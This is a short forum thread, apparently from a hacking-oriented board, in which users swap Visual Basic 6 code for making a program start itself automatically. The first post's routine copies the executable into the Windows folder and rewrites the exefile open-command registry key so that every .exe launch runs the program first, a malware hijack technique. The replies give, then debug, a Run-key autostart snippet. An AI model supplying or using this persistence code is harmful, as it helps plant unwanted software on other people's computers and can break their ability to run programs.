+ Reply to Thread
Results 1 to 3 of 3
  1. #1
    Junior Member
    Join Date
    Dec 2009
    Posts
    9

    one vb6 reg problem

    ok so like i stated i tried to get the reg going and i am having a problem no load up so i tried this

    \/



    Code:
    Public Sub Startuppp()
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Clone App_Path & App.EXEName & ".exe", fGetWinDir & "\" & App.EXEName & ".exe"
    Reg.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", App.EXEName & ".exe " & Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
    End Sub

    Still wont boot with the pc what am i doing wrong ? on
    Call Startuppp ? under main forum Sub


    Advice welcome

  2. #2
    Senior Member Menace's Avatar
    Join Date
    Jul 2009
    Location
    -------.dyndns.org
    Posts
    225
    Try this o_o
    Code:
    Dim startup As String
        startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
        Dim Reg As Object
        Set Reg = CreateObject("wscript.shell")
        Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
    Thanks FusioN for the pro SIG

  3. #3
    SqUeEzEr .
    Guest
    You made a typo
    Quote Originally Posted by Menace View Post
    Try this o_o
    Code:
    Dim startup As String
        startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
        Dim Reg As Object
        Set Reg = CreateObject("wscript.shell")
        Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
    should be :
    Code:
    Dim startup As String
        startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
        Dim Reg As Object
        Set Reg = CreateObject("wscript.shell")
        Reg.RegWrite Startup & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.